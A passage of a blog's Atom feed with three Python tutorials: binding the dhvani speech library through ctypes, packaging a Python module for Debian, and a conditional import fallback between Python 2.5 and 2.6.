tempo;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int rate;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dhvani_Languages language;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int output_file_format;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int isPhonetic;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int speech_to_file;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char* output_file_name;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; t_dhvani_synth_callback* synth_callback_fn;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; t_dhvani_audio_callback* audio_callback_fn;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } dhvani_options;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&amp;nbsp;And an enum &lt;i&gt;dhvani_ERROR &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; typedef enum {&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DHVANI_OK = 0,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DHVANI_INTERNAL_ERROR = -1&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } dhvani_ERROR;&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Now if we carefully observe the dhvani_options structure it involves a few complex data structure like &lt;i&gt;dhvani_VOICE&lt;/i&gt; (structure) &lt;i&gt;t_dhvani_synth_callback&lt;/i&gt; and &lt;i&gt;t_dhvani_audio_callback&lt;/i&gt; and an enum &lt;i&gt;dhvani_Languages&lt;/i&gt;. Besides this all others are basic data structures. I had to hack the dhvani source code to see what are this complex data structures are and below is the snippets which I found in dhvani source code.&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; typedef enum {&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HINDI = 1,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MALAYALAM = 2,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TAMIL = 3,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; KANNADA = 4,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ORIYA = 5,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PANJABI = 6,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GUJARATI = 7,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TELUGU = 8,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BENGALI = 9,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MARATHI = 10,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PASHTO = 11&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } dhvani_Languages;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; typedef int (t_dhvani_synth_callback) (int);&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; typedef int (t_dhvani_audio_callback) (short *, int); &lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;dhvani_VOICE&lt;/i&gt; structure was never defined it was meant only for future use, so it spared me some time :). I also found one more enum in the source which are used by the API's. I'm listing them below.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&lt;i style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; typedef enum {&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DHVANI_OGG_FORMAT = 0,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DHVANI_WAV_FORMAT&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } dhvani_output_file_format;&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;So we need to define few enums and a dummy strucute and 2 function pointers in Python before we can define &lt;i&gt;dhvani_options&lt;/i&gt; structure in Python. Look at the below snippet&lt;/div&gt;&lt;script src="https://gist.github.com/888072.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Since there is nothing equivalent to enums in Python we just define constants with int value to match enumeration in C. We are using &lt;i&gt;CFUNCTYPE&lt;/i&gt; from &lt;i&gt;ctypes&lt;/i&gt; library to define the callback function which are nothing but function pointers in &lt;i&gt;CFUNCTYPE&lt;/i&gt; allows us to specify the &lt;i&gt;return type&lt;/i&gt; of the functions and the &lt;i&gt;arguments&lt;/i&gt; to the function. Next is &lt;i&gt;dhvani_VOICE&lt;/i&gt; structure as you can see its just a place holder.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;So now we have defined all the required data structures its time we define the main structure of dhvani i.e &lt;i&gt;dhvani_options. &lt;/i&gt;Below is the snippet of code for defining &lt;i&gt;dhvani_options&lt;/i&gt; in Python.&lt;/div&gt;&lt;script src="https://gist.github.com/888111.js"&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;To define a structure we need to create a class that inherits from &lt;i&gt;ctypes.Structure&lt;/i&gt; clas. All the fields of the strucutre are defined as the list of tupples &lt;i&gt;__fields__&lt;/i&gt;. Each tuple contains a string specifying name of the field in C structure and its type. The new type you can see here is &lt;i&gt;POINTER&lt;/i&gt; which is a ctype function for C Pointer type. Rest of the code is self explanatory.&lt;/div&gt;&lt;br /&gt;With this we have all the required data structures defined in Python. Next step is to find the required functions and map them to Python equivalent function calls. Inspecting the dhvani API reference we&amp;nbsp; see that function calls &lt;i&gt;dhvani_say&lt;/i&gt; and &lt;i&gt;dhvani_speak_file&lt;/i&gt; are required to generate audio from the text. Below is the prototype of these functions.&lt;br /&gt;&lt;blockquote&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;dhvani_ERROR dhvani_say(char *, dhvani_options *);&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;&lt;i&gt; dhvani_ERROR dhvani_speak_file(FILE *, dhvani_options *);&lt;/i&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&amp;nbsp;dhvani_say&lt;/i&gt; is a simple function but &lt;i&gt;dhvani_speak_file&lt;/i&gt; expects &lt;i&gt;FILE&lt;/i&gt;* as first argument!! Now that is problematic, we don't have anything equivalaent to C's &lt;i&gt;FILE*&lt;/i&gt; structure. After searching for a while finally I found this &lt;a href="http://stackoverflow.com/questions/3794309/python-ctypes-python-file-object-c-file"&gt;answer&lt;/a&gt;. The trick is use Python's &lt;i&gt;file&lt;/i&gt; object to open the file and use &lt;i&gt;fileno() &lt;/i&gt;API of &lt;i&gt;file&lt;/i&gt; object to get back the integer file descriptor, then use &lt;i&gt;fdopen&lt;/i&gt; function call provided by standard C library to get back &lt;i&gt;FILE*&lt;/i&gt; structure for the descriptor. Since dhvani uses standard C library shared library of dhvani will contain reference to &lt;i&gt;fdopen&lt;/i&gt; so next step is to map &lt;u&gt;&lt;i&gt;fdopen&lt;/i&gt;&lt;/u&gt; to Python function call. Below is prototype of &lt;i&gt;fdopen&lt;/i&gt; which I'll be using.&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: x-small;"&gt;FILE *fdopen(int fd, const char *mode);&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&amp;nbsp;And below is the snippet for mapping all these 3 functions to Python&lt;br /&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/888127.js"&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;As you can see wherever &lt;i&gt;FILE*&lt;/i&gt; was used in C functions I used &lt;i&gt;c_void_p&lt;/i&gt; i.e void pointer, this is mainly because pointers all have same memory size the type only indicates what type of content is present in the memory location pointed by the pointers. So in this case I'm telling python run-time that its void pointer but during the call where prototype expects (FILE*) it will be automatically typecasted (at least I assume so if you have better explanation please comment)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;So we have everything read now and we can directly use dhvani API's to get the audio generated for any Indian Language from our python code. Below is the code of tts module of &lt;a href="http://silpa.org.in/"&gt;SILPA&lt;/a&gt; which now uses dhvani shared library and is out of its experimental status.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;script src="https://gist.github.com/888132.js"&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;I won't be explaining rest of the code here as its self explanatory and my job was to explain the important part i.e coupling dhvani library with Python. And that is done :). Please give the suggestions in comments :)&lt;br /&gt;&lt;br /&gt;&lt;b style="color: red;"&gt;&lt;i&gt;P.S: The entire code may not be directly usable as it has code required to integrate it with SILPA&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;-- Vasudev&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-1615777593257606500?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/03/tutorial-python-and-c-coupling.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1615777593257606500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1615777593257606500'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/03/tutorial-python-and-c-coupling.html' title='Tutorial: Python and C Coupling Continued (Dhvani with Python)'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6816964508428127285</id><published>2011-02-20T07:58:00.000-08:00</published><updated>2011-02-20T07:58:14.332-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='packaging'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><title type='text'>Tutorial: Python module packaging for Debian</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;In this post I would like to share my experience on packaging &lt;a href="https://savannah.nongnu.org/projects/pypdflib"&gt;my first python module&lt;/a&gt; for Debian. Its still waiting in the &lt;a href="http://ftp-master.debian.org/new.html"&gt;new queue&lt;/a&gt; to enter experimental branch of Debian. I would like to give a brief overview of the python module packaging here. I assume the reader knows basics of python module packaging and has gone through the Debian New Maintainers guide.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;For Python module packaging first step is to get the source from the &lt;a href="http://pypi.python.org/pypi"&gt;pypi &lt;/a&gt;. In my case since I was one of the developer for pypdflib, I just ran the below command to get tar.gz file for pypdflib&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;python setup.py sdist &lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;The archive will be created under &lt;i&gt;dist&lt;/i&gt; folder. In my case archive name was &lt;i&gt;pypdflib-0.1.a2.tar.gz&lt;/i&gt;. Now copy that to a folder where you want to create the package.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now we need to install a tool called &lt;i&gt;python-stdeb - Python to Debian source package conversion utility. &lt;/i&gt;Run the below command to get the package installed&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;sudo aptitude install python-stdeb&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;Now run the below command to create a .dsc and module source with debian folder template inside it.&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;py2dsc -m 'Your Name &lt;your@email&gt;' package-version.tar.gz&lt;/your@email&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;Replace the fields appropriately it will create a folder &lt;i&gt;deb_dist&lt;/i&gt; in the same directory and the extracted source with debian folder template will be placed under it. &lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;deb_dist&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; |&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; |___ package-version&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Now enter debian directory and edit the &lt;i&gt;control&lt;/i&gt; &lt;i&gt;changelog&lt;/i&gt; and &lt;i&gt;copyright&lt;/i&gt; files to suit your needs. Make the &lt;i&gt;copyright&lt;/i&gt; file in&amp;nbsp; &lt;a href="http://dep.debian.net/deps/dep5/"&gt;dep5&lt;/a&gt; machine readable format. Also I noted that for some reason &lt;i&gt;source/format&lt;/i&gt; file under debian directory contained 1.0 (native format). If so please change it to contain the following lines&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;3.0 (quilt)&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;That is almost it now running the following command will create the package for your module&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt; debuild&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;If &lt;i&gt;lintian&lt;/i&gt; complaints about issue please fix them, one important thing in Debian packaging is your package should always be lintian clean. &lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Now for some special cases there is chance that when you may have to do some extra work. In my case following where happening.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. Original source (package-version.orig.tar.gz) was getting modified mainly because of packagename.egg.info folder which is created during compilation.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. I had some samples for my module which should be installed as examples.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;For the first problem solution was to override dh_clean section. I added the following lines to my rules file&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;override_dh_clean:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dh_clean&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -rf setuptools_git-0.3.4-*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -rf src/pypdflib.egg-info&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;What it does is it executes the remove command on 2 folder which were not cleaned automatically by dh_clean.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;For second problem the solution was overriding dh_installexamples section to install my examples manually.&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;override_dh_installexamples:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dh_installexamples -p python-pypdflib samples/*&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;I didn't put those under /usr/bin/ folder since those examples are not a fully featured tools during the creation. I'll be adding them as tools under /usr/bin using &lt;i&gt;link&lt;/i&gt; file in the next release.&lt;/div&gt;&lt;br /&gt;Below is my complete rule file for your reference.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;script src="https://gist.github.com/836035.js"&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;I thank &lt;a href="http://j4v4m4n.in/"&gt;&lt;i&gt;Praveen A&lt;/i&gt;&lt;/a&gt;&amp;nbsp; for guiding me and teaching Debian packaging and &lt;a href="http://qa.debian.org/developer.php?login=kartik"&gt;&lt;i&gt;Kartik Mistry&lt;/i&gt;&lt;/a&gt; for helping me in packaging pypdflib and sponsoring it in Debian. My package source now lies in &lt;i&gt;Debian-IN&lt;/i&gt; team svn repository. If there are any mistakes please do comment about them :).&lt;br /&gt;&lt;br /&gt;Reference: &lt;a href="http://meetbot.debian.net/debian-women/2010/debian-women.2010-12-02-20.02.log.html"&gt;Debian Woman Python packaging session&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6816964508428127285?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/02/tutorial-python-module-packaging-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6816964508428127285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6816964508428127285'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/02/tutorial-python-module-packaging-for.html' title='Tutorial: Python module packaging for Debian'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-5907475659169196003</id><published>2010-12-04T03:30:00.000-08:00</published><updated>2010-12-04T03:30:32.372-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Conditional "import" in Python</title><content type='html'>&lt;div style="text-align: justify;"&gt;Normally in Python when we try to import a module and module doesn't exist the interpreter will throw&amp;nbsp; &lt;i&gt;ImportError&lt;/i&gt;, this is a normal behavior . But in some cases like when Python version changes some functions are moved from one module to other and sometime the module names itself are changed. For eg. in Python 2.6 we have &lt;i&gt;urllib&lt;/i&gt; &lt;i&gt;urllib2&lt;/i&gt; modules but in Py3k these modules are combined and all request response related functions are present in &lt;i&gt;urllib.request&lt;/i&gt; and all errors are unders &lt;i&gt;urrlib.error&lt;/i&gt; module. Functions like &lt;i&gt;urlencode&lt;/i&gt; &lt;i&gt;quote&lt;/i&gt; &lt;i&gt;unquote&lt;/i&gt; which were in &lt;i&gt;urllib&lt;/i&gt; module in Python2.6 are under &lt;i&gt;urllib.request &lt;/i&gt;Py3k. This case of moving from Python 2.x to Py3k can be easily done by tool called &lt;i&gt;2to3.&lt;/i&gt;But lets say moving from Python2.5 to Python2.6 how do we handle this situation?. Well below is the solution &lt;i&gt;(applicable when modules are renamed or moved during version change)&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;b&gt;Problem:&lt;/b&gt;&lt;/i&gt; When I started working on &lt;a href="http://smc.org.in/silpa"&gt;SILPA&lt;/a&gt; I was running Debian Squeeze which had Python 2.5 as system default Python, but recently Debian Squeeze transitioned to Python 2.6 as default Python. We had some issue in the URL routing logic of the SILPA which I fixed 2 days back for which I used a function called &lt;i&gt;parse_qs &lt;/i&gt;from &lt;i&gt;urlparse&lt;/i&gt; module and everything worked fine on my system. I pushed the changes to the main git repository. Now the problem begins 2 mirrors of SILPA have Cron job setup to periodically pull the changes from git, and next day it was reported that 2 of the mirrors where throwing 500 internal server error. And its time for me to find what was causing the issue :).&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;b&gt;Reason:&lt;/b&gt;&lt;/i&gt; Mirror instance of the SILPA were running older version of Python.(2.5) and the function &lt;i&gt;parse_qs&lt;/i&gt; was not defined in the module &lt;i&gt;urlparse&lt;/i&gt; which was causing the &lt;i&gt;ImportError&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;b&gt;Solution:&lt;/b&gt;&lt;/i&gt; I figured out that in Python 2.5 version &lt;i&gt;parse_qs&lt;/i&gt; is present but in &lt;i&gt;cgi&lt;/i&gt; module instead of &lt;i&gt;urlparse&lt;/i&gt;. So to make the code work in both Python versions (i.e. 2.5 and 2.6) I need to do a conditional import as shown below&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;try:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; from urlparse import parse_qs&lt;/i&gt;&lt;br /&gt;&lt;i&gt;except ImportError:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; # Fall back for Python 2.5 &lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; from cgi import parse_qs &lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt; So I want to import &lt;i&gt;parse_qs&lt;/i&gt; from &lt;i&gt;urlparse&lt;/i&gt; module and if interpreter throws &lt;i&gt;ImportError&lt;/i&gt; it means the Python version is &amp;lt;2.6 so import the function from &lt;i&gt;cgi&lt;/i&gt; module instead. So code is now backward compatible with Python2.5. Well that's it I call this as conditional importing I don't know what is the exact name for this method :). If you have any suggestions please do comment.&lt;/div&gt;&lt;br /&gt;-- Vasudev&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-5907475659169196003?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/12/conditional-import-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5907475659169196003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5907475659169196003'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/12/conditional-import-in-python.html' title='Conditional &quot;import&quot; in Python'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 